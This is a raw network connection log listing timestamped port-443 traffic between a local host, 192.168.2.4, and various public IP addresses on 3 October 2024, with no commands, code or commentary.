Oct 3, 2024 10:41:43.262187958 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.262223005 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.262268066 CEST	49961	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.262275934 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.262312889 CEST	49961	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.262744904 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.262801886 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.262947083 CEST	49961	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.263453007 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.263830900 CEST	443	49960	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:43.263906002 CEST	443	49960	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:43.263983011 CEST	49960	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:43.265011072 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.265034914 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.265085936 CEST	49964	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.265113115 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.265182018 CEST	49964	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.265189886 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.265243053 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.265477896 CEST	49964	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.266031981 CEST	49960	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:43.266048908 CEST	443	49960	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:43.269227028 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.269252062 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.269259930 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.269274950 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.269284010 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.269308090 CEST	49965	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.269325018 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.269337893 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.269340992 CEST	49965	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.269373894 CEST	49965	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.270292044 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.270301104 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.270301104 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.270343065 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.270359039 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.270375013 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.270395041 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.270414114 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.270414114 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.270526886 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.271461010 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.274815083 CEST	443	49971	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.276243925 CEST	49971	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.276616096 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.276633978 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.276657104 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.276674986 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.276683092 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.276695013 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.276719093 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.283936024 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.283947945 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.285109043 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.285166979 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.287868977 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.287889004 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.290813923 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.290889978 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.291117907 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.291122913 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.292869091 CEST	49961	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.292881966 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.295058966 CEST	49964	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.295084000 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.295900106 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.295908928 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.295973063 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.295974970 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.296017885 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.296041965 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.296067953 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.296081066 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.296081066 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.296093941 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.296099901 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.296118975 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.296226978 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.296278000 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.296315908 CEST	49971	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.296324015 CEST	443	49971	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.296422958 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.296432972 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.296446085 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.296452999 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.296461105 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.296473980 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.296478987 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.296505928 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.296506882 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.296535969 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.296953917 CEST	49983	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.296986103 CEST	443	49983	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.297044039 CEST	49983	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.297241926 CEST	443	49966	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.297274113 CEST	443	49966	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.297451973 CEST	443	49966	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.297473907 CEST	49984	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:43.297491074 CEST	443	49984	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:43.297494888 CEST	49966	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.297550917 CEST	49984	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:43.298067093 CEST	49983	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.298075914 CEST	443	49983	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.298305988 CEST	49984	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:43.298314095 CEST	443	49984	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:43.298651934 CEST	49965	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.298661947 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.298949957 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.298954964 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.298963070 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.298991919 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.301810026 CEST	49966	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.301815033 CEST	443	49966	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.302804947 CEST	443	49972	18.214.213.210	192.168.2.4
Oct 3, 2024 10:41:43.303075075 CEST	49972	443	192.168.2.4	18.214.213.210
Oct 3, 2024 10:41:43.303081989 CEST	443	49972	18.214.213.210	192.168.2.4
Oct 3, 2024 10:41:43.304161072 CEST	443	49972	18.214.213.210	192.168.2.4
Oct 3, 2024 10:41:43.304222107 CEST	49972	443	192.168.2.4	18.214.213.210
Oct 3, 2024 10:41:43.305980921 CEST	49972	443	192.168.2.4	18.214.213.210
Oct 3, 2024 10:41:43.306049109 CEST	443	49972	18.214.213.210	192.168.2.4
Oct 3, 2024 10:41:43.306216955 CEST	49972	443	192.168.2.4	18.214.213.210
Oct 3, 2024 10:41:43.306224108 CEST	443	49972	18.214.213.210	192.168.2.4
Oct 3, 2024 10:41:43.349904060 CEST	443	49952	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.349961042 CEST	443	49952	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.350024939 CEST	49952	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:43.350044012 CEST	443	49952	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.350292921 CEST	49952	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:43.352457047 CEST	49952	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:43.352473974 CEST	443	49952	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.361581087 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.361592054 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.361653090 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.361660957 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.361702919 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.361725092 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.361763000 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.361774921 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.361783028 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.361783028 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.361799955 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.361810923 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.361983061 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.362209082 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.362226009 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.362754107 CEST	49986	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.362787008 CEST	443	49986	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.362863064 CEST	49986	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.363250971 CEST	49986	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.363265991 CEST	443	49986	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.365341902 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:43.365353107 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:43.365405083 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:43.365643024 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:43.365654945 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:43.372900009 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.372927904 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.372994900 CEST	49950	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:43.373013020 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.373059034 CEST	49950	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:43.373065948 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.373094082 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.373164892 CEST	49950	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:43.374495029 CEST	49950	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:43.374507904 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.386425018 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.386466026 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.386678934 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.387063980 CEST	49989	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.387089014 CEST	443	49989	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.387147903 CEST	49989	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.387469053 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.387491941 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.388067961 CEST	49989	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.388084888 CEST	443	49989	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.406955004 CEST	443	49972	18.214.213.210	192.168.2.4
Oct 3, 2024 10:41:43.407027960 CEST	49972	443	192.168.2.4	18.214.213.210
Oct 3, 2024 10:41:43.408540010 CEST	49972	443	192.168.2.4	18.214.213.210
Oct 3, 2024 10:41:43.408549070 CEST	443	49972	18.214.213.210	192.168.2.4
Oct 3, 2024 10:41:43.421844006 CEST	49990	443	192.168.2.4	35.171.198.4
Oct 3, 2024 10:41:43.421876907 CEST	443	49990	35.171.198.4	192.168.2.4
Oct 3, 2024 10:41:43.422024965 CEST	49990	443	192.168.2.4	35.171.198.4
Oct 3, 2024 10:41:43.422285080 CEST	49990	443	192.168.2.4	35.171.198.4
Oct 3, 2024 10:41:43.422307014 CEST	443	49990	35.171.198.4	192.168.2.4
Oct 3, 2024 10:41:43.422509909 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.422532082 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.422576904 CEST	49953	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:43.422594070 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.422621012 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.422904015 CEST	49953	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:43.423404932 CEST	49953	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:43.423423052 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:43.436144114 CEST	49991	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.436175108 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.436281919 CEST	49991	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.436536074 CEST	49991	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.436549902 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.447237015 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.448863029 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:43.448895931 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:43.449131966 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:43.449311018 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:43.449326992 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:43.490972996 CEST	443	49975	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.491471052 CEST	49975	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:43.491478920 CEST	443	49975	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.491894007 CEST	443	49975	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.492309093 CEST	49975	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:43.492383003 CEST	443	49975	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.492527962 CEST	49975	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:43.535403013 CEST	443	49975	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.540550947 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.540606022 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.540621996 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.570195913 CEST	443	49976	142.250.184.194	192.168.2.4
Oct 3, 2024 10:41:43.571012974 CEST	49976	443	192.168.2.4	142.250.184.194
Oct 3, 2024 10:41:43.571032047 CEST	443	49976	142.250.184.194	192.168.2.4
Oct 3, 2024 10:41:43.571403027 CEST	443	49976	142.250.184.194	192.168.2.4
Oct 3, 2024 10:41:43.571486950 CEST	49976	443	192.168.2.4	142.250.184.194
Oct 3, 2024 10:41:43.572076082 CEST	443	49976	142.250.184.194	192.168.2.4
Oct 3, 2024 10:41:43.572164059 CEST	49976	443	192.168.2.4	142.250.184.194
Oct 3, 2024 10:41:43.575222015 CEST	49976	443	192.168.2.4	142.250.184.194
Oct 3, 2024 10:41:43.575306892 CEST	443	49976	142.250.184.194	192.168.2.4
Oct 3, 2024 10:41:43.575685024 CEST	49976	443	192.168.2.4	142.250.184.194
Oct 3, 2024 10:41:43.575695038 CEST	443	49976	142.250.184.194	192.168.2.4
Oct 3, 2024 10:41:43.617388964 CEST	443	49979	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.621499062 CEST	443	49977	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:43.624106884 CEST	49977	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:43.624114990 CEST	443	49977	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:43.624363899 CEST	49979	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:43.624419928 CEST	443	49979	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.624627113 CEST	443	49977	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:43.625040054 CEST	49977	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:43.625107050 CEST	443	49977	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:43.625390053 CEST	443	49979	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.625453949 CEST	49979	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:43.625931025 CEST	49979	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:43.625992060 CEST	443	49979	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.626224995 CEST	49977	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:43.626332045 CEST	49979	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:43.626352072 CEST	443	49979	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.628261089 CEST	443	49980	142.250.185.166	192.168.2.4
Oct 3, 2024 10:41:43.628561020 CEST	49980	443	192.168.2.4	142.250.185.166
Oct 3, 2024 10:41:43.628576040 CEST	443	49980	142.250.185.166	192.168.2.4
Oct 3, 2024 10:41:43.628884077 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.628894091 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.628915071 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.628925085 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.628950119 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.628957033 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.628963947 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.628999949 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.629026890 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.629817009 CEST	443	49980	142.250.185.166	192.168.2.4
Oct 3, 2024 10:41:43.629884005 CEST	49980	443	192.168.2.4	142.250.185.166
Oct 3, 2024 10:41:43.631369114 CEST	49980	443	192.168.2.4	142.250.185.166
Oct 3, 2024 10:41:43.631437063 CEST	443	49980	142.250.185.166	192.168.2.4
Oct 3, 2024 10:41:43.631664038 CEST	49980	443	192.168.2.4	142.250.185.166
Oct 3, 2024 10:41:43.631694078 CEST	443	49980	142.250.185.166	192.168.2.4
Oct 3, 2024 10:41:43.637046099 CEST	49976	443	192.168.2.4	142.250.184.194
Oct 3, 2024 10:41:43.637623072 CEST	443	49981	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:43.637904882 CEST	49981	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:43.637927055 CEST	443	49981	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:43.638246059 CEST	443	49981	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:43.638907909 CEST	49981	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:43.638957977 CEST	443	49981	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:43.639122963 CEST	49981	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:43.663197041 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.663207054 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.663233995 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.663248062 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.663264036 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.663270950 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.663285017 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.663311958 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.663337946 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.671394110 CEST	443	49977	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:43.679399014 CEST	443	49981	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:43.695622921 CEST	443	49978	18.173.205.104	192.168.2.4
Oct 3, 2024 10:41:43.696018934 CEST	49978	443	192.168.2.4	18.173.205.104
Oct 3, 2024 10:41:43.696032047 CEST	443	49978	18.173.205.104	192.168.2.4
Oct 3, 2024 10:41:43.697021961 CEST	443	49978	18.173.205.104	192.168.2.4
Oct 3, 2024 10:41:43.697103977 CEST	49978	443	192.168.2.4	18.173.205.104
Oct 3, 2024 10:41:43.697668076 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.697674036 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.697688103 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.697695971 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.697714090 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.697762966 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.697767019 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.697828054 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.699698925 CEST	49978	443	192.168.2.4	18.173.205.104
Oct 3, 2024 10:41:43.699764013 CEST	443	49978	18.173.205.104	192.168.2.4
Oct 3, 2024 10:41:43.699898958 CEST	49978	443	192.168.2.4	18.173.205.104
Oct 3, 2024 10:41:43.699918985 CEST	443	49978	18.173.205.104	192.168.2.4
Oct 3, 2024 10:41:43.729012966 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.729023933 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.729091883 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.729165077 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.729172945 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.729178905 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.729185104 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.729275942 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.733438015 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.733516932 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.753496885 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.753528118 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.753562927 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.753566027 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.753613949 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.761537075 CEST	443	49983	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.761821985 CEST	49983	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.761831999 CEST	443	49983	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.762151957 CEST	443	49983	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.762610912 CEST	49983	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.762665987 CEST	443	49983	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.762794018 CEST	49983	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.777614117 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.777630091 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.777704954 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.777709961 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.783030033 CEST	443	49975	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.783118963 CEST	443	49975	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.783162117 CEST	49975	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:43.784231901 CEST	49975	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:43.784246922 CEST	443	49975	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.802143097 CEST	49993	443	192.168.2.4	216.58.206.66
Oct 3, 2024 10:41:43.802179098 CEST	443	49993	216.58.206.66	192.168.2.4
Oct 3, 2024 10:41:43.802249908 CEST	49993	443	192.168.2.4	216.58.206.66
Oct 3, 2024 10:41:43.802859068 CEST	49993	443	192.168.2.4	216.58.206.66
Oct 3, 2024 10:41:43.802872896 CEST	443	49993	216.58.206.66	192.168.2.4
Oct 3, 2024 10:41:43.803394079 CEST	443	49983	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.803843975 CEST	443	49970	157.240.253.1	192.168.2.4
